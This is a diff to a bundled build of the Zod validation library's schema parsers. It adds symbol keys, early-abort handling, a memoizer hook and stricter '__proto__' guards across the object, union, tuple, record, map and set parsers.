+ const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -49822,28 +50343,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -49851,91 +50375,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -49944,41 +50484,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -49989,12 +50524,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -50005,7 +50540,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -50032,17 +50567,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -50076,12 +50611,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -50094,7 +50633,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -50128,55 +50668,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map2 = internals.bag.optionsMap; + if (!map2) { + map2 = discriminatorMap(internals.def); + internals.bag.optionsMap = map2; + } + const option = map2.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map2 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values2 = option._zod.propValues?.[def.discriminator]; + if (!values2 || values2.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values2) { + if (map2.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map2.set(value, null); + } else { + map2.set(value, option); + } + } + } + return map2; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if (pv[zod.def.discriminator]?.has(void 0)) + undefinedCount++; for (const [k, v] of Object.entries(pv)) { - if (!propValues[k]) - propValues[k] = /* @__PURE__ */ new Set(); + if (!Object.prototype.hasOwnProperty.call(propValues, k)) { + assignProp(propValues, k, /* @__PURE__ */ new Set()); + } for (const val of v) { propValues[k].add(val); } } } + if (!zod.def.unionFallback && undefinedCount > 1) + propValues[zod.def.discriminator]?.delete(void 0); return propValues; }); - const disc = cached(() => { - const opts = def.options; - const map2 = /* @__PURE__ */ new Map(); - for (const o of opts) { - const values2 = o._zod.propValues?.[def.discriminator]; - if (!values2 || values2.size === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(o)}"`); - for (const v of values2) { - if (map2.has(v)) { - throw new Error(`Duplicate discriminator value "${String(v)}"`); - } - map2.set(v, o); - } + def.options.forEach((option, i) => { + const propShape = rawShape(option._zod.def); + if (propShape && !Object.prototype.hasOwnProperty.call(propShape, def.discriminator)) { + throw new Error(`Invalid discriminated union option at index "${i}"`); } - return map2; }); + const disc = cached(() => discriminatorMap(def)); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isObject2(input)) { + const input2 = payload.value; + if (!isObject2(input2)) { payload.issues.push({ code: "invalid_type", expected: "object", - input, + input: input2, inst }); return payload; } - const opt = disc.value.get(input?.[def.discriminator]); - if (opt) { + const value = input2?.[def.discriminator]; + const opt = disc.value.get(value); + if (opt && (value !== void 0 || ctx.direction !== "backward")) { return opt._zod.run(payload, ctx); } if (def.unionFallback || ctx.direction === "backward") { @@ -50187,8 +50755,8 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio errors: [], note: "No matching discriminator", discriminator: def.discriminator, - options: Array.from(disc.value.keys()), - input, + options: Array.from(disc.value.keys()).filter((value2) => disc.value.get(value2) !== null), + input: input2, path: [def.discriminator], inst }); @@ -50198,9 +50766,9 @@ var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -50221,7 +50789,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -50257,37 +50829,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -50296,59 +50880,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -50359,14 +50955,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -50377,10 +50974,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -50390,7 +50991,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -50401,25 +51002,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -50436,7 +51041,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -50453,26 +51060,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -50490,7 +51105,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -50503,21 +51121,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -50527,36 +51157,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -50564,7 +51204,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -50577,7 +51217,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -50588,11 +51228,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -50600,8 +51242,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -50612,6 +51261,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -50624,16 +51274,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -50641,21 +51294,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); 